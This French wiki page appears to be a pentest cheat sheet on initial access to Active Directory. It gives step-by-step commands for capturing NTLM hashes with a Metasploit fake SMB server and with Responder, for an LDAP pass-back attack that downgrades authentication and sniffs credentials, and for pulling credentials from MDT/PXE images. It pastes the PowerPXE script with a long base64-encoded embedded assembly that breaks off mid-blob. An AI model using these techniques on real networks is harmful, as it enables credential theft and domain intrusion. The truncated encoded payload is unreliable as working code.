# [Exploitation/AD] Initial Access ## Introduction Les techniques pour obtenir un accès initial au domaine ne manquent pas avec Active Directory. Nous étudierons quelques techniques dans cette fiche. ## Techniques #### Fake samba server Une des techniques consite à lancer un faux serveur Samba et attendre qu'un utilisateur se connecte dessus d'une manière ou d'une autre : - **ARP poisonning** où la MAC d'un vrai partage samba est remplacée par le vôtre. - **Accès manuel**. - **Fichier word** corrompu. Lancez la console **Metasploit** : ```bash msfconsole ``` Puis sélectionnez l'auxiliaire suivant : ``` use auxiliary/server/capture/smb ``` Et sélectionnez le fichier de sortie où les hashs seront enregistrés : ``` set johnpwfile ``` Puis lancez le serveur : ``` run ```

Lorsqu'un utilisateur se connectera à votre partage, son hash NTLM sera affiché à l'écran et enregistré dans le fichier spécifié.

#### LDAP Pass-back attack Cette attaque part du principe que vous ayez accès à une application capable d'établir des connexions LDAP pour authentifier les utilisateurs. Par exemple, il peut s'agir d'un interface web de gestion d'imprimante que vous auriez compromis. Si un combo identifiant/mot de passe est sauvegardé dans l'application mais que vous en avez pas l'accès, vous allez pouvoir mettre en place un serveur LDAP malveillant et faire pointer l'application dessus lors de l'authentification pour récupérer les identifiants. Tout d'abord installez un serveur LDAP : ```bash sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd ``` Il vous faut ensuite configurer le serveur LDAP : ```bash sudo dpkg-reconfigure -p low slapd ``` [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/pmVimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/pmVimage.png) Le nom du domaine DNS va vous être demandé (mettre celui que vous souhaitez compromettre) : [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/hnzimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/hnzimage.png) Le saisir de nouveau : [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/7KBimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/7KBimage.png) Sélectionnez MDB comme base de donnée : [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/eTBimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/eTBimage.png) [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/iwQimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/iwQimage.png) [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/scaled-1680-/HmLimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/HmLimage.png) Il faut ensuite descendre la version du protocole d'authentification LDAP. Pour cela on doit créer un fichier de configuration **olcSaslSecProps.ldif** : ``` #olcSaslSecProps.ldif dn: cn=config replace: olcSaslSecProps olcSaslSecProps: noanonymous,minssf=0,passcred ```  Puis on applique cette configuration : ```bash sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart ``` On peut ensuite se mettre en écoute avec tcpdump pour intercepter le mot de passe lors de la prochaine requête : ```bash sudo tcpdump -SX -i breachad tcp port 389 ``` #### Capture des challenges NTLM Grâce à l'outil [Responder](https://github.com/lgandx/Responder), on va pouvoir récupérer le hash NTLM des hôtes sur le réseau en empoisonnant le cache LLMNR : ```bash sudo responder -I ``` Vous serez averti si l'attaque réussie : ``` [+] Listening for events... [SMBv2] NTLMv2-SSP Client : [SMBv2] NTLMv2-SSP Username : ZA\ [SMBv2] NTLMv2-SSP Hash : ::ZA: ``` #### Récupération de mot de passe dans l'image MDT Les images **MDT** peuvent contenir des informations d'identifications précieuses et il est possible de les récupérer si vous êtes sur le même réseau local. Pour cela, nous allons utiliser une machine Windows et commencer par identifier l'adresse IP du serveur MDT. Ensuite, il faut récupérer l'image **.bcd** qui nous intéresse grâce au protocole **TFTP** (utilisé par MDT) : ```powershell tftp -i GET "\Tmp\x64{39...28}.bcd" conf.bcd ``` Ensuite, saisissez le script suivant dans un fichier **.ps1** :
PowerPXE.ps1     ##########################     ##      ## Author: Remi ESCOURROU @remiescourrou     ## Name : PowerPXE     ## Github : https://github.com/wavestone-cdt/powerpxe     ## License : MIT         ##      ########################## \# Find and extract credentials from PXE server function Get-PXEcreds {     Param(         \[String\]$InterfaceAlias = "Ethernet"     )     Add-Type -AssemblyName System.DirectoryServices.AccountManagement     $PxeInfo = Find-BcdFile -InterfaceAlias $InterfaceAlias          $BCDfile =  ($PxeInfo.Options \| Where-Object {$\_.OptionCode -eq "252" }).OptionValue     $PXEadress = $PXEInfo.SIAddr     $BCDoutput = "conf.bcd"          $BCDfileclean = $BCDfile.Substring(0,$BCDfile.Length-1)          Import-TFTP     Download-TFTP -tftpserver $PXEadress -tftpfile $BCDfileclean -tftpoutput $BCDoutput     $WimFiles = Get-WimFile -bcdFile $BCDoutput          Foreach ($WimFile in $WimFiles) {         $WimOutput = Split-Path $WimFile -Leaf         Download-TFTP -tftpserver $PXEadress -tftpfile $WimFile -tftpoutput $WimOutput         Get-FindCredentials -WimFile $WimOutput     } } \# Import TFTP.NET Function Import-TFTP {     ##########################     ##      ## Auhtor : Valks     ## Name : TFTP.NET     ## Github : https://github.com/Valks/tftp.net     ## License : Microsoft Public License     ##      ##########################           $EncodedCompressedFile = @' 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